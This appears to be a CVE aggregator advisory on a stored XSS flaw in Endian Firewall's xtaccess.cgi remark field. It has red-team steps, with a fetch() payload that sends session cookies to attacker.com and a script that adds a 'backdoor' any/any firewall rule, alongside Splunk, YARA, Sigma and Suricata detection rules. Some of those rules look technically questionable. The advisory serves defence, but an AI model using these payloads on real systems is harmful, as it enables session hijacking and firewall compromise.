CVE-2026-34811
Executive Summary
CVE-2026-34811 is a stored cross-site scripting (XSS) vulnerability in Endian Firewall version 3.3.25 and prior. An authenticated attacker can inject arbitrary JavaScript via the remark parameter in the /cgi-bin/xtaccess.cgi endpoint. The injected script is stored on the server and executed when other authenticated users view the affected page, leading to session hijacking, credential theft, or further compromise of the firewall management interface. No public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the proprietary Endian Firewall appliance software.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (authenticated user)
- User Interaction: Required (victim must view the page)
- Scope: Changed (impact may extend beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. Exploitation requires authentication, but the stored nature of the XSS increases the risk of persistent compromise within the management interface.
Deep Dive & Mechanics
The vulnerability resides in the xtaccess.cgi CGI script, which handles external access rules. The remark parameter is used to store a user-provided description for each rule. The application fails to sanitize or encode this input before storing it in the backend database and later rendering it in the web interface.
Attack Flow:
- An authenticated attacker navigates to the external access rule configuration page.
- The attacker crafts a malicious payload (e.g.,
<script>alert('XSS')</script>) and submits it via theremarkparameter. - The payload is stored in the firewall's configuration database.
- When any other authenticated user (including administrators) views the list of external access rules, the stored payload is rendered in the browser without proper output encoding.
- The victim's browser executes the injected JavaScript, which can:
- Steal session cookies (
document.cookie) - Perform actions on behalf of the victim (e.g., create new admin accounts)
- Redirect to phishing pages
- Exfiltrate sensitive configuration data
- Steal session cookies (
Root Cause: Lack of input validation and output encoding for the remark parameter in /cgi-bin/xtaccess.cgi.
Vulnerable vs. Patched Code
Vulnerable Code (Endian Firewall <= 3.3.25):
# /cgi-bin/xtaccess.cgi (simplified)
my $remark = param('remark');
# No sanitization
$db->store_rule($remark);
# Later, when rendering:
print "<td>$remark</td>"; # Direct output without encoding
Patched Code (Hypothetical):
# /cgi-bin/xtaccess.cgi (patched)
use CGI::Util qw(escapeHTML);
my $remark = param('remark');
# Sanitize input
$remark =~ s/<[^>]*>//g; # Strip HTML tags
$db->store_rule($remark);
# When rendering:
print "<td>" . escapeHTML($remark) . "</td>"; # Encode output
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to an Endian Firewall instance (version <= 3.3.25)
- Valid credentials for a low-privileged user
Exploitation Steps:
- Log in to the Endian Firewall web interface.
- Navigate to
Firewall > External Access(or similar). - Click "Add new rule" or edit an existing rule.
- In the
Remarkfield, inject the following payload:<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Submit the rule.
- Wait for an administrator or other user to view the external access rules list.
- The victim's browser will execute the script, sending their session cookie to the attacker's server.
Advanced Payload (Session Hijacking):
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', '/cgi-bin/xtaccess.cgi?action=add&remark=backdoor&src=any&dst=any&service=any', true);
xhr.withCredentials = true;
xhr.send();
</script>
Blue Team
Detection:
- Monitor HTTP POST requests to
/cgi-bin/xtaccess.cgicontaining suspiciousremarkparameters (e.g.,<script>,onerror=,javascript:). - Look for anomalous outbound connections from the firewall management interface to unknown IPs (potential data exfiltration).
- Review web server logs for unusual patterns in the
remarkfield.
Hunting Query (Splunk):
index=web_logs source="/var/log/httpd/access_log"
| search uri="/cgi-bin/xtaccess.cgi" method=POST
| rex field=form_data "remark=(?<remark>[^&]+)"
| search remark IN ("*<script>*", "*onerror*", "*javascript:*")
| table _time, src_ip, user, remark
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP/HTTPS requests from the firewall to attacker-controlled domains (e.g.,
attacker.com) - Unusual POST requests to
/cgi-bin/xtaccess.cgiwith encoded or suspiciousremarkparameters
- Outbound HTTP/HTTPS requests from the firewall to attacker-controlled domains (e.g.,
File IOCs:
- Modified configuration files containing JavaScript payloads (e.g.,
/etc/endian/firewall/xtaccess.conf) - Suspicious entries in the firewall's SQLite database (e.g.,
/var/endian/firewall/xtaccess.db)
- Modified configuration files containing JavaScript payloads (e.g.,
Log IOCs:
- Web server logs showing
remarkvalues containing<script>tags - Authentication logs showing unexpected admin account creation
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2026_34811_XSS_Remark {
meta:
description = "Detects stored XSS payloads in Endian Firewall xtaccess.cgi remark parameter"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-34811"
strings:
$xss_payload = /remark=[^&]*<script[^>]*>/
$xss_event = /remark=[^&]*on\w+\s*=/
$xss_javascript = /remark=[^&]*javascript:/
condition:
any of them
}
Sigma Rule
title: Stored XSS via Remark Parameter in Endian Firewall
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2026-34811 by injecting XSS payloads into the remark parameter of xtaccess.cgi
author: Valters IT
date: 2026-01-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query: '/cgi-bin/xtaccess.cgi'
keywords:
- 'remark='
- '<script'
- 'onerror='
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of HTML in remarks (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2026-34811 - Stored XSS via Remark Parameter in Endian Firewall";
flow:to_server,established;
content:"POST"; http_method;
content:"/cgi-bin/xtaccess.cgi"; http_uri;
content:"remark="; http_client_body;
pcre:"/remark=[^&]*(<script|on\w+=|javascript:)/Pi";
reference:cve,2026-34811;
classtype:web-application-attack;
sid:10000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade: If a patched version becomes available, upgrade immediately. Currently, no patch exists.
- Input Validation: Implement server-side validation to strip or encode HTML tags from the
remarkparameter. - Output Encoding: Ensure all user-supplied data is HTML-entity encoded before rendering in the web interface.
- Web Application Firewall (WAF): Deploy a WAF rule to block requests containing
<script>,onerror=, orjavascript:in theremarkparameter.
Long-Term Fixes:
- Apply the principle of least privilege: restrict which users can modify external access rules.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Conduct regular security audits of CGI scripts.
Workaround:
- Disable the external access rule management feature if not required.
- Monitor logs for suspicious activity and manually review all
remarkfields.
Valters IT
{/* [Security Hash: F61B003E3F89B88268F04176] */}